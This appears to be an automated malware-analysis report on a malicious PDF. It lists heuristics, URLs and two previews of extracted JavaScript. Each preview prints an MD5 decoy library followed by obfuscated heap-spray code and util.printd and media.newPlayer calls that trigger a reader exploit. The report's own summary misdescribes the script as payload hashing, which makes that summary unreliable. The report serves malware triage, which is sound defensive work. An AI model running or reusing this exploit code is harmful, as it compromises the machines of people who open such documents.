MALICIOUS
158
Risk Score
Malware Insights
MITRE ATT&CK
T1059.007 JavaScript
T1203 Exploitation for Client Execution
The PDF contains embedded JavaScript that utilizes functions like 'unescape' and 'String.fromCharCode', indicative of obfuscation and potential exploitation. The critical heuristic 'PDF_JS_EXPLOIT_CLUSTER' confirms this, along with the ML classifier's high confidence. The JavaScript appears to be an implementation of MD5 hashing, which could be used to calculate hashes of downloaded payloads or other data. The primary IOCs are the URLs referenced within the script and PDF metadata.
Machine Learning
- Nyx PDF Classifier malicious score 0.9898
Heuristics 5
-
JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
ssqqrr = (ssqqrr); var yR = unescape(''); var MaxString = String["fromCharCode"](0x3727,0x27f5); -
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.monotype.comMonotype Referenced by PDF JavaScript
- http://pajhome.org.uk/crypt/md5Referenced by PDF JavaScript
- http://www.monotype.com/html/mtname/ms_timesnewroman.htmlhttp://www.monotype.com/html/mtname/ms_welcome.htmlhttp://www.monotype.com/html/type/license.htmlReferenced by PDF JavaScript
- https://www.verisign.com/rpaReferenced by PDF JavaScript
- http://ocsp.verisign.com/ocsp/status0Referenced by PDF JavaScript
- https://www.verisign.com/rpa0Referenced by PDF JavaScript
- http://crl.microsoft.com/pki/crl/products/CodeSignPCA.crl0Referenced by PDF JavaScript
- http://www.microsoft.com/typographyReferenced by PDF JavaScript
- http://www.iec.chReferenced by PDF JavaScript
Extracted artifacts 4
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0055_001.js |
pdf-javascript-stream | PDF /JS object 55 at offset 0x13DBAE | 13794 bytes |
SHA-256: 82458b7f7ae580ba38ec758e90e08a61b540fe5ec7d10bac880f02c08401ccf0 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 15 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function SDDDD()
{
/*
* A JavaScript implementation of the RSA Data Security, Inc. MD5 Message
* Digest Algorithm, as defined in RFC 1321.
* Version 2.2 Copyright (C) Paul Johnston 1999 - 2009
* Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet
* Distributed under the BSD License
* See http://pajhome.org.uk/crypt/md5 for more info.
*/
/*
* Configurable variables. You may need to tweak these to be compatible with
* the server-side, but the defaults work in most cases.
*/
var hexcase = 0; /* hex output format. 0 - lowercase; 1 - uppercase */
var b64pad = ""; /* base-64 pad character. "=" for strict RFC compliance */
/*
* These are the functions you'll usually want to call
* They take string arguments and return either hex or base-64 encoded strings
*/
function hex_md5(s) { return rstr2hex(rstr_md5(str2rstr_utf8(s))); }
function b64_md5(s) { return rstr2b64(rstr_md5(str2rstr_utf8(s))); }
function any_md5(s, e) { return rstr2any(rstr_md5(str2rstr_utf8(s)), e); }
function hex_hmac_md5(k, d)
{ return rstr2hex(rstr_hmac_md5(str2rstr_utf8(k), str2rstr_utf8(d))); }
function b64_hmac_md5(k, d)
{ return rstr2b64(rstr_hmac_md5(str2rstr_utf8(k), str2rstr_utf8(d))); }
function any_hmac_md5(k, d, e)
{ return rstr2any(rstr_hmac_md5(str2rstr_utf8(k), str2rstr_utf8(d)), e); }
/*
* Perform a simple self-test to see if the VM is working
*/
function md5_vm_test()
{
return hex_md5("abc").toLowerCase() == "900150983cd24fb0d6963f7d28e17f72";
}
/*
* Calculate the MD5 of a raw string
*/
function rstr_md5(s)
{
return binl2rstr(binl_md5(rstr2binl(s), s.length * 8));
}
/*
* Calculate the HMAC-MD5, of a key and some data (raw strings)
*/
function rstr_hmac_md5(key, data)
{
var bkey = rstr2binl(key);
if(bkey.length > 16) bkey = binl_md5(bkey, key.length * 8);
var ipad = Array(16), opad = Array(16);
for(var i = 0; i < 16; i++)
{
ipad[i] = bkey[i] ^ 0x36363636;
opad[i] = bkey[i] ^ 0x5C5C5C5C;
}
var hash = binl_md5(ipad.concat(rstr2binl(data)), 512 + data.length * 8);
return binl2rstr(binl_md5(opad.concat(hash), 512 + 128));
}
/*
* Convert a raw string to a hex string
*/
function rstr2hex(input)
{
try { hexcase } catch(e) { hexcase=0; }
var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef";
var output = "";
var x;
for(var i = 0; i < input.length; i++)
{
x = input.charCodeAt(i);
output += hex_tab.charAt((x >>> 4) & 0x0F)
+ hex_tab.charAt( x & 0x0F);
}
return output;
}
/*
* Convert a raw string to a base-64 string
*/
function rstr2b64(input)
{
try { b64pad } catch(e) { b64pad=''; }
var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var output = "";
var len = input.length;
for(var i = 0; i < len; i += 3)
{
var triplet = (input.charCodeAt(i) << 16)
| (i + 1 < len ? input.charCodeAt(i+1) << 8 : 0)
| (i + 2 < len ? input.charCodeAt(i+2) : 0);
for(var j = 0; j < 4; j++)
{
if(i * 8 + j * 6 > input.length * 8) output += b64pad;
else output += tab.charAt((triplet >>> 6*(3-j)) & 0x3F);
}
}
return output;
}
/*
* Convert a raw string to an arbitrary string encoding
*/
function rstr2any(input, encoding)
{
var divisor = encoding.length;
var i, j, q, x, quotient;
/* Convert to an array of 16-bit big-endian values, forming the dividend */
var dividend = Array(Math.ceil(input.length / 2));
for(i = 0; i < dividend.length; i++)
{
dividend[i] = (input.charCodeAt(i * 2) << 8) | input.charCodeAt(i * 2 + 1);
}
/*
* Repeatedly perform a long division. The binary array forms the dividend,
* the length of the encoding is the divisor. Once computed, the quotient
* forms the dividend for the next step. All remainders are stored for later
* use.
*/
var full_length = Math.ceil(input.length * 8 /
(Math.log(encoding.length) / Math.log(2)));
var remainders = Array(full_length);
for(j = 0; j < full_length; j++)
{
quotient = Array();
x = 0;
for(i = 0; i < dividend.length; i++)
{
x = (x << 16) + dividend[i];
q = Math.floor(x / divisor);
x -= q * divisor;
if(quotient.length > 0 || q > 0)
quotient[quotient.length] = q;
}
remainders[j] = x;
dividend = quotient;
}
/* Convert the remainders to the output string */
var output = "";
for(i = remainders.length - 1; i >= 0; i--)
output += encoding.charAt(remainders[i]);
return output;
}
/*
* Encode a string as utf-8.
* For efficiency, this assumes the input is valid utf-16.
*/
function str2rstr_utf8(input)
{
var output = "";
var i = -1;
var x, y;
while(++i < input.length)
{
/* Decode utf-16 surrogate pairs */
x = input.charCodeAt(i);
y = i + 1 < input.length ? input.charCodeAt(i + 1) : 0;
if(0xD800 <= x && x <= 0xDBFF && 0xDC00 <= y && y <= 0xDFFF)
{
x = 0x10000 + ((x & 0x03FF) << 10) + (y & 0x03FF);
i++;
}
/* Encode output as utf-8 */
if(x <= 0x7F)
output += String.fromCharCode(x);
else if(x <= 0x7FF)
output += String.fromCharCode(0xC0 | ((x >>> 6 ) & 0x1F),
0x80 | ( x & 0x3F));
else if(x <= 0xFFFF)
output += String.fromCharCode(0xE0 | ((x >>> 12) & 0x0F),
0x80 | ((x >>> 6 ) & 0x3F),
0x80 | ( x & 0x3F));
else if(x <= 0x1FFFFF)
output += String.fromCharCode(0xF0 | ((x >>> 18) & 0x07),
0x80 | ((x >>> 12) & 0x3F),
0x80 | ((x >>> 6 ) & 0x3F),
0x80 | ( x & 0x3F));
}
return output;
}
/*
* Encode a string as utf-16
*/
function str2rstr_utf16le(input)
{
var output = "";
for(var i = 0; i < input.length; i++)
output += String.fromCharCode( input.charCodeAt(i) & 0xFF,
(input.charCodeAt(i) >>> 8) & 0xFF);
return output;
}
function str2rstr_utf16be(input)
{
var output = "";
for(var i = 0; i < input.length; i++)
output += String.fromCharCode((input.charCodeAt(i) >>> 8) & 0xFF,
input.charCodeAt(i) & 0xFF);
return output;
}
/*
* Convert a raw string to an array of little-endian words
* Characters >255 have their high-byte silently ignored.
*/
function rstr2binl(input)
{
var output = Array(input.length >> 2);
for(var i = 0; i < output.length; i++)
output[i] = 0;
for(var i = 0; i < input.length * 8; i += 8)
output[i>>5] |= (input.charCodeAt(i / 8) & 0xFF) << (i%32);
return output;
}
/*
* Convert an array of little-endian words to a string
*/
function binl2rstr(input)
{
var output = "";
for(var i = 0; i < input.length * 32; i += 8)
output += String.fromCharCode((input[i>>5] >>> (i % 32)) & 0xFF);
return output;
}
/*
* Calculate the MD5 of an array of little-endian words, and a bit length.
*/
function binl_md5(x, len)
{
/* append padding */
x[len >> 5] |= 0x80 << ((len) % 32);
x[(((len + 64) >>> 9) << 4) + 14] = len;
var a = 1732584193;
var b = -271733879;
var c = -1732584194;
var d = 271733878;
for(var i = 0; i < x.length; i += 16)
{
var olda = a;
var oldb = b;
var oldc = c;
var oldd = d;
a = md5_ff(a, b, c, d, x[i+ 0], 7 , -680876936);
d = md5_ff(d, a, b, c, x[i+ 1], 12, -389564586);
c = md5_ff(c, d, a, b, x[i+ 2], 17, 606105819);
b = md5_ff(b, c, d, a, x[i+ 3], 22, -1044525330);
a = md5_ff(a, b, c, d, x[i+ 4], 7 , -176418897);
d = md5_ff(d, a, b, c, x[i+ 5], 12, 1200080426);
c = md5_ff(c, d, a, b, x[i+ 6], 17, -1473231341);
b = md5_ff(b, c, d, a, x[i+ 7], 22, -45705983);
a = md5_ff(a, b, c, d, x[i+ 8], 7 , 1770035416);
d = md5_ff(d, a, b, c, x[i+ 9], 12, -1958414417);
c = md5_ff(c, d, a, b, x[i+10], 17, -42063);
b = md5_ff(b, c, d, a, x[i+11], 22, -1990404162);
a = md5_ff(a, b, c, d, x[i+12], 7 , 1804603682);
d = md5_ff(d, a, b, c, x[i+13], 12, -40341101);
c = md5_ff(c, d, a, b, x[i+14], 17, -1502002290);
b = md5_ff(b, c, d, a, x[i+15], 22, 1236535329);
a = md5_gg(a, b, c, d, x[i+ 1], 5 , -165796510);
d = md5_gg(d, a, b, c, x[i+ 6], 9 , -1069501632);
c = md5_gg(c, d, a, b, x[i+11], 14, 643717713);
b = md5_gg(b, c, d, a, x[i+ 0], 20, -373897302);
a = md5_gg(a, b, c, d, x[i+ 5], 5 , -701558691);
d = md5_gg(d, a, b, c, x[i+10], 9 , 38016083);
c = md5_gg(c, d, a, b, x[i+15], 14, -660478335);
b = md5_gg(b, c, d, a, x[i+ 4], 20, -405537848);
a = md5_gg(a, b, c, d, x[i+ 9], 5 , 568446438);
d = md5_gg(d, a, b, c, x[i+14], 9 , -1019803690);
c = md5_gg(c, d, a, b, x[i+ 3], 14, -187363961);
b = md5_gg(b, c, d, a, x[i+ 8], 20, 1163531501);
a = md5_gg(a, b, c, d, x[i+13], 5 , -1444681467);
d = md5_gg(d, a, b, c, x[i+ 2], 9 , -51403784);
c = md5_gg(c, d, a, b, x[i+ 7], 14, 1735328473);
b = md5_gg(b, c, d, a, x[i+12], 20, -1926607734);
a = md5_hh(a, b, c, d, x[i+ 5], 4 , -378558);
d = md5_hh(d, a, b, c, x[i+ 8], 11, -2022574463);
c = md5_hh(c, d, a, b, x[i+11], 16, 1839030562);
b = md5_hh(b, c, d, a, x[i+14], 23, -35309556);
a = md5_hh(a, b, c, d, x[i+ 1], 4 , -1530992060);
d = md5_hh(d, a, b, c, x[i+ 4], 11, 1272893353);
c = md5_hh(c, d, a, b, x[i+ 7], 16, -155497632);
b = md5_hh(b, c, d, a, x[i+10], 23, -1094730640);
a = md5_hh(a, b, c, d, x[i+13], 4 , 681279174);
d = md5_hh(d, a, b, c, x[i+ 0], 11, -358537222);
c = md5_hh(c, d, a, b, x[i+ 3], 16, -722521979);
b = md5_hh(b, c, d, a, x[i+ 6], 23, 76029189);
a = md5_hh(a, b, c, d, x[i+ 9], 4 , -640364487);
d = md5_hh(d, a, b, c, x[i+12], 11, -421815835);
c = md5_hh(c, d, a, b, x[i+15], 16, 530742520);
b = md5_hh(b, c, d, a, x[i+ 2], 23, -995338651);
a = md5_ii(a, b, c, d, x[i+ 0], 6 , -198630844);
d = md5_ii(d, a, b, c, x[i+ 7], 10, 1126891415);
c = md5_ii(c, d, a, b, x[i+14], 15, -1416354905);
b = md5_ii(b, c, d, a, x[i+ 5], 21, -57434055);
a = md5_ii(a, b, c, d, x[i+12], 6 , 1700485571);
d = md5_ii(d, a, b, c, x[i+ 3], 10, -1894986606);
c = md5_ii(c, d, a, b, x[i+10], 15, -1051523);
b = md5_ii(b, c, d, a, x[i+ 1], 21, -2054922799);
a = md5_ii(a, b, c, d, x[i+ 8], 6 , 1873313359);
d = md5_ii(d, a, b, c, x[i+15], 10, -30611744);
c = md5_ii(c, d, a, b, x[i+ 6], 15, -1560198380);
b = md5_ii(b, c, d, a, x[i+13], 21, 1309151649);
a = md5_ii(a, b, c, d, x[i+ 4], 6 , -145523070);
d = md5_ii(d, a, b, c, x[i+11], 10, -1120210379);
c = md5_ii(c, d, a, b, x[i+ 2], 15, 718787259);
b = md5_ii(b, c, d, a, x[i+ 9], 21, -343485551);
a = safe_add(a, olda);
b = safe_add(b, oldb);
c = safe_add(c, oldc);
d = safe_add(d, oldd);
}
return Array(a, b, c, d);
}
/*
* These functions implement the four basic operations the algorithm uses.
*/
function md5_cmn(q, a, b, x, s, t)
{
return safe_add(bit_rol(safe_add(safe_add(a, q), safe_add(x, t)), s),b);
}
function md5_ff(a, b, c, d, x, s, t)
{
return md5_cmn((b & c) | ((~b) & d), a, b, x, s, t);
}
function md5_gg(a, b, c, d, x, s, t)
{
return md5_cmn((b & d) | (c & (~d)), a, b, x, s, t);
}
function md5_hh(a, b, c, d, x, s, t)
{
return md5_cmn(b ^ c ^ d, a, b, x, s, t);
}
function md5_ii(a, b, c, d, x, s, t)
{
return md5_cmn(c ^ (b | (~d)), a, b, x, s, t);
}
/*
* Add integers, wrapping at 2^32. This uses 16-bit operations internally
* to work around bugs in some JS interpreters.
*/
function safe_add(x, y)
{
var lsw = (x & 0xFFFF) + (y & 0xFFFF);
var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
return (msw << 16) | (lsw & 0xFFFF);
}
/*
* Bitwise rotate a 32-bit number to the left.
*/
function bit_rol(num, cnt)
{
return (num << cnt) | (num >>> (32 - cnt));
}
hex_md5("A");
hex_md5("B");
}
SDDDD();
function New_Script()
{
var ckWord, numWords;
var text = '';
for (var i = 0; i < this.numPages; i++ )
{
numWords = this.getPageNumWords(i);
for (var j = 0; j < numWords; j++)
{
ckWord = this.getPageNthWord(i, j);
text = text + ckWord.toString();
}
}
text = text + ' ';
var k = 1;
var b=0;
var ssqqrr = '';
var ssqqrr_1 = '';
var ssqqrr_2 = '';
var u_ssqqrr = '';
var pos = 0;
while (pos < (text.length-1)) {
pos += k;
if(!b)
{
b = 1;
if (pos < text.length)
{ ssqqrr_1 = ssqqrr_1 + text[pos] + text[pos+1]; pos+=2; }
else
{ ssqqrr_1 = ssqqrr_1 + text[pos]; pos+=1; }
}
else
{
b = 0;
if (pos < text.length)
{ ssqqrr_2 = ssqqrr_2 + text[pos] + text[pos+1]; pos+=2; }
else
{ ssqqrr_2 = ssqqrr_2 + text[pos]; pos+=1; }
u_ssqqrr = '%u'+ssqqrr_2+ssqqrr_1;
ssqqrr_1 = '';
ssqqrr_2 = '';
ssqqrr += u_ssqqrr;
}
k++;
if (k>3) k = 1;
}
ssqqrr = (ssqqrr);
var yR = unescape('');
var MaxString = String["fromCharCode"](0x3727,0x27f5);
for(i=0;i<15;){MaxString+=MaxString;i ++;}
MaxString=MaxString.substring(0,32768 - ssqqrr.length);
memory=new Array();
for(i=0;i<0x2000;) {
memory[i]= MaxString + ssqqrr; i ++;
}
util[String["fromCharCode"](112,114,105,110,116,100)](String["fromCharCode"](49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());
util[String["fromCharCode"](112,114,105,110,116,100)](String["fromCharCode"](49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());
try {var obj = this.media;obj['new'+'Player'](null);} catch(e) {}
util[String["fromCharCode"](112,114,105,110,116,100)](String["fromCharCode"](49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());
}
|
|||
javascript_obj0055_002.js |
pdf-javascript-stream | PDF /JS object 55 at offset 0x13DBD2 | 15287 bytes |
SHA-256: 90c98395875f87b51ec7773233856ad28f0790aec47a5e28c1479a7092e36744 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 15 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function SDDDD()
{
/*
* A JavaScript implementation of the RSA Data Security, Inc. MD5 Message
* Digest Algorithm, as defined in RFC 1321.
* Version 2.2 Copyright (C) Paul Johnston 1999 - 2009
* Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet
* Distributed under the BSD License
* See http://pajhome.org.uk/crypt/md5 for more info.
*/
/*
* Configurable variables. You may need to tweak these to be compatible with
* the server-side, but the defaults work in most cases.
*/
var hexcase = 0; /* hex output format. 0 - lowercase; 1 - uppercase */
var b64pad = ""; /* base-64 pad character. "=" for strict RFC compliance */
/*
* These are the functions you'll usually want to call
* They take string arguments and return either hex or base-64 encoded strings
*/
function hex_md5(s) { return rstr2hex(rstr_md5(str2rstr_utf8(s))); }
function b64_md5(s) { return rstr2b64(rstr_md5(str2rstr_utf8(s))); }
function any_md5(s, e) { return rstr2any(rstr_md5(str2rstr_utf8(s)), e); }
function hex_hmac_md5(k, d)
{ return rstr2hex(rstr_hmac_md5(str2rstr_utf8(k), str2rstr_utf8(d))); }
function b64_hmac_md5(k, d)
{ return rstr2b64(rstr_hmac_md5(str2rstr_utf8(k), str2rstr_utf8(d))); }
function any_hmac_md5(k, d, e)
{ return rstr2any(rstr_hmac_md5(str2rstr_utf8(k), str2rstr_utf8(d)), e); }
/*
* Perform a simple self-test to see if the VM is working
*/
function md5_vm_test()
{
return hex_md5("abc").toLowerCase() == "900150983cd24fb0d6963f7d28e17f72";
}
/*
* Calculate the MD5 of a raw string
*/
function rstr_md5(s)
{
return binl2rstr(binl_md5(rstr2binl(s), s.length * 8));
}
/*
* Calculate the HMAC-MD5, of a key and some data (raw strings)
*/
function rstr_hmac_md5(key, data)
{
var bkey = rstr2binl(key);
if(bkey.length > 16) bkey = binl_md5(bkey, key.length * 8);
var ipad = Array(16), opad = Array(16);
for(var i = 0; i < 16; i++)
{
ipad[i] = bkey[i] ^ 0x36363636;
opad[i] = bkey[i] ^ 0x5C5C5C5C;
}
var hash = binl_md5(ipad.concat(rstr2binl(data)), 512 + data.length * 8);
return binl2rstr(binl_md5(opad.concat(hash), 512 + 128));
}
/*
* Convert a raw string to a hex string
*/
function rstr2hex(input)
{
try { hexcase } catch(e) { hexcase=0; }
var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef";
var output = "";
var x;
for(var i = 0; i < input.length; i++)
{
x = input.charCodeAt(i);
output += hex_tab.charAt((x >>> 4) & 0x0F)
+ hex_tab.charAt( x & 0x0F);
}
return output;
}
/*
* Convert a raw string to a base-64 string
*/
function rstr2b64(input)
{
try { b64pad } catch(e) { b64pad=''; }
var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var output = "";
var len = input.length;
for(var i = 0; i < len; i += 3)
{
var triplet = (input.charCodeAt(i) << 16)
| (i + 1 < len ? input.charCodeAt(i+1) << 8 : 0)
| (i + 2 < len ? input.charCodeAt(i+2) : 0);
for(var j = 0; j < 4; j++)
{
if(i * 8 + j * 6 > input.length * 8) output += b64pad;
else output += tab.charAt((triplet >>> 6*(3-j)) & 0x3F);
}
}
return output;
}
/*
* Convert a raw string to an arbitrary string encoding
*/
function rstr2any(input, encoding)
{
var divisor = encoding.length;
var i, j, q, x, quotient;
/* Convert to an array of 16-bit big-endian values, forming the dividend */
var dividend = Array(Math.ceil(input.length / 2));
for(i = 0; i < dividend.length; i++)
{
dividend[i] = (input.charCodeAt(i * 2) << 8) | input.charCodeAt(i * 2 + 1);
}
/*
* Repeatedly perform a long division. The binary array forms the dividend,
* the length of the encoding is the divisor. Once computed, the quotient
* forms the dividend for the next step. All remainders are stored for later
* use.
*/
var full_length = Math.ceil(input.length * 8 /
(Math.log(encoding.length) / Math.log(2)));
var remainders = Array(full_length);
for(j = 0; j < full_length; j++)
{
quotient = Array();
x = 0;
for(i = 0; i < dividend.length; i++)
{
x = (x << 16) + dividend[i];
q = Math.floor(x / divisor);
x -= q * divisor;
if(quotient.length > 0 || q > 0)
quotient[quotient.length] = q;
}
remainders[j] = x;
dividend = quotient;
}
/* Convert the remainders to the output string */
var output = "";
for(i = remainders.length - 1; i >= 0; i--)
output += encoding.charAt(remainders[i]);
return output;
}
/*
* Encode a string as utf-8.
* For efficiency, this assumes the input is valid utf-16.
*/
function str2rstr_utf8(input)
{
var output = "";
var i = -1;
var x, y;
while(++i < input.length)
{
/* Decode utf-16 surrogate pairs */
x = input.charCodeAt(i);
y = i + 1 < input.length ? input.charCodeAt(i + 1) : 0;
if(0xD800 <= x && x <= 0xDBFF && 0xDC00 <= y && y <= 0xDFFF)
{
x = 0x10000 + ((x & 0x03FF) << 10) + (y & 0x03FF);
i++;
}
/* Encode output as utf-8 */
if(x <= 0x7F)
output += String.fromCharCode(x);
else if(x <= 0x7FF)
output += String.fromCharCode(0xC0 | ((x >>> 6 ) & 0x1F),
0x80 | ( x & 0x3F));
else if(x <= 0xFFFF)
output += String.fromCharCode(0xE0 | ((x >>> 12) & 0x0F),
0x80 | ((x >>> 6 ) & 0x3F),
0x80 | ( x & 0x3F));
else if(x <= 0x1FFFFF)
output += String.fromCharCode(0xF0 | ((x >>> 18) & 0x07),
0x80 | ((x >>> 12) & 0x3F),
0x80 | ((x >>> 6 ) & 0x3F),
0x80 | ( x & 0x3F));
}
return output;
}
/*
* Encode a string as utf-16
*/
function str2rstr_utf16le(input)
{
var output = "";
for(var i = 0; i < input.length; i++)
output += String.fromCharCode( input.charCodeAt(i) & 0xFF,
(input.charCodeAt(i) >>> 8) & 0xFF);
return output;
}
function str2rstr_utf16be(input)
{
var output = "";
for(var i = 0; i < input.length; i++)
output += String.fromCharCode((input.charCodeAt(i) >>> 8) & 0xFF,
input.charCodeAt(i) & 0xFF);
return output;
}
/*
* Convert a raw string to an array of little-endian words
* Characters >255 have their high-byte silently ignored.
*/
function rstr2binl(input)
{
var output = Array(input.length >> 2);
for(var i = 0; i < output.length; i++)
output[i] = 0;
for(var i = 0; i < input.length * 8; i += 8)
output[i>>5] |= (input.charCodeAt(i / 8) & 0xFF) << (i%32);
return output;
}
/*
* Convert an array of little-endian words to a string
*/
function binl2rstr(input)
{
var output = "";
for(var i = 0; i < input.length * 32; i += 8)
output += String.fromCharCode((input[i>>5] >>> (i % 32)) & 0xFF);
return output;
}
/*
* Calculate the MD5 of an array of little-endian words, and a bit length.
*/
function binl_md5(x, len)
{
/* append padding */
x[len >> 5] |= 0x80 << ((len) % 32);
x[(((len + 64) >>> 9) << 4) + 14] = len;
var a = 1732584193;
var b = -271733879;
var c = -1732584194;
var d = 271733878;
for(var i = 0; i < x.length; i += 16)
{
var olda = a;
var oldb = b;
var oldc = c;
var oldd = d;
a = md5_ff(a, b, c, d, x[i+ 0], 7 , -680876936);
d = md5_ff(d, a, b, c, x[i+ 1], 12, -389564586);
c = md5_ff(c, d, a, b, x[i+ 2], 17, 606105819);
b = md5_ff(b, c, d, a, x[i+ 3], 22, -1044525330);
a = md5_ff(a, b, c, d, x[i+ 4], 7 , -176418897);
d = md5_ff(d, a, b, c, x[i+ 5], 12, 1200080426);
c = md5_ff(c, d, a, b, x[i+ 6], 17, -1473231341);
b = md5_ff(b, c, d, a, x[i+ 7], 22, -45705983);
a = md5_ff(a, b, c, d, x[i+ 8], 7 , 1770035416);
d = md5_ff(d, a, b, c, x[i+ 9], 12, -1958414417);
c = md5_ff(c, d, a, b, x[i+10], 17, -42063);
b = md5_ff(b, c, d, a, x[i+11], 22, -1990404162);
a = md5_ff(a, b, c, d, x[i+12], 7 , 1804603682);
d = md5_ff(d, a, b, c, x[i+13], 12, -40341101);
c = md5_ff(c, d, a, b, x[i+14], 17, -1502002290);
b = md5_ff(b, c, d, a, x[i+15], 22, 1236535329);
a = md5_gg(a, b, c, d, x[i+ 1], 5 , -165796510);
d = md5_gg(d, a, b, c, x[i+ 6], 9 , -1069501632);
c = md5_gg(c, d, a, b, x[i+11], 14, 643717713);
b = md5_gg(b, c, d, a, x[i+ 0], 20, -373897302);
a = md5_gg(a, b, c, d, x[i+ 5], 5 , -701558691);
d = md5_gg(d, a, b, c, x[i+10], 9 , 38016083);
c = md5_gg(c, d, a, b, x[i+15], 14, -660478335);
b = md5_gg(b, c, d, a, x[i+ 4], 20, -405537848);
a = md5_gg(a, b, c, d, x[i+ 9], 5 , 568446438);
d = md5_gg(d, a, b, c, x[i+14], 9 , -1019803690);
c = md5_gg(c, d, a, b, x[i+ 3], 14, -187363961);
b = md5_gg(b, c, d, a, x[i+ 8], 20, 1163531501);
a = md5_gg(a, b, c, d, x[i+13], 5 , -1444681467);
d = md5_gg(d, a, b, c, x[i+ 2], 9 , -51403784);
c = md5_gg(c, d, a, b, x[i+ 7], 14, 1735328473);
b = md5_gg(b, c, d, a, x[i+12], 20, -1926607734);
a = md5_hh(a, b, c, d, x[i+ 5], 4 , -378558);
d = md5_hh(d, a, b, c, x[i+ 8], 11, -2022574463);
c = md5_hh(c, d, a, b, x[i+11], 16, 1839030562);
b = md5_hh(b, c, d, a, x[i+14], 23, -35309556);
a = md5_hh(a, b, c, d, x[i+ 1], 4 , -1530992060);
d = md5_hh(d, a, b, c, x[i+ 4], 11, 1272893353);
c = md5_hh(c, d, a, b, x[i+ 7], 16, -155497632);
b = md5_hh(b, c, d, a, x[i+10], 23, -1094730640);
a = md5_hh(a, b, c, d, x[i+13], 4 , 681279174);
d = md5_hh(d, a, b, c, x[i+ 0], 11, -358537222);
c = md5_hh(c, d, a, b, x[i+ 3], 16, -722521979);
b = md5_hh(b, c, d, a, x[i+ 6], 23, 76029189);
a = md5_hh(a, b, c, d, x[i+ 9], 4 , -640364487);
d = md5_hh(d, a, b, c, x[i+12], 11, -421815835);
c = md5_hh(c, d, a, b, x[i+15], 16, 530742520);
b = md5_hh(b, c, d, a, x[i+ 2], 23, -995338651);
a = md5_ii(a, b, c, d, x[i+ 0], 6 , -198630844);
d = md5_ii(d, a, b, c, x[i+ 7], 10, 1126891415);
c = md5_ii(c, d, a, b, x[i+14], 15, -1416354905);
b = md5_ii(b, c, d, a, x[i+ 5], 21, -57434055);
a = md5_ii(a, b, c, d, x[i+12], 6 , 1700485571);
d = md5_ii(d, a, b, c, x[i+ 3], 10, -1894986606);
c = md5_ii(c, d, a, b, x[i+10], 15, -1051523);
b = md5_ii(b, c, d, a, x[i+ 1], 21, -2054922799);
a = md5_ii(a, b, c, d, x[i+ 8], 6 , 1873313359);
d = md5_ii(d, a, b, c, x[i+15], 10, -30611744);
c = md5_ii(c, d, a, b, x[i+ 6], 15, -1560198380);
b = md5_ii(b, c, d, a, x[i+13], 21, 1309151649);
a = md5_ii(a, b, c, d, x[i+ 4], 6 , -145523070);
d = md5_ii(d, a, b, c, x[i+11], 10, -1120210379);
c = md5_ii(c, d, a, b, x[i+ 2], 15, 718787259);
b = md5_ii(b, c, d, a, x[i+ 9], 21, -343485551);
a = safe_add(a, olda);
b = safe_add(b, oldb);
c = safe_add(c, oldc);
d = safe_add(d, oldd);
}
return Array(a, b, c, d);
}
/*
* These functions implement the four basic operations the algorithm uses.
*/
function md5_cmn(q, a, b, x, s, t)
{
return safe_add(bit_rol(safe_add(safe_add(a, q), safe_add(x, t)), s),b);
}
function md5_ff(a, b, c, d, x, s, t)
{
return md5_cmn((b & c) | ((~b) & d), a, b, x, s, t);
}
function md5_gg(a, b, c, d, x, s, t)
{
return md5_cmn((b & d) | (c & (~d)), a, b, x, s, t);
}
function md5_hh(a, b, c, d, x, s, t)
{
return md5_cmn(b ^ c ^ d, a, b, x, s, t);
}
function md5_ii(a, b, c, d, x, s, t)
{
return md5_cmn(c ^ (b | (~d)), a, b, x, s, t);
}
/*
* Add integers, wrapping at 2^32. This uses 16-bit operations internally
* to work around bugs in some JS interpreters.
*/
function safe_add(x, y)
{
var lsw = (x & 0xFFFF) + (y & 0xFFFF);
var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
return (msw << 16) | (lsw & 0xFFFF);
}
/*
* Bitwise rotate a 32-bit number to the left.
*/
function bit_rol(num, cnt)
{
return (num << cnt) | (num >>> (32 - cnt));
}
hex_md5("A");
hex_md5("B");
}
SDDDD();
function New_Script()
{
var ckWord, numWords;
var text = '';
for (var i = 0; i < this.numPages; i++ )
{
numWords = this.getPageNumWords(i);
for (var j = 0; j < numWords; j++)
{
ckWord = this.getPageNthWord(i, j);
text = text + ckWord.toString();
}
}
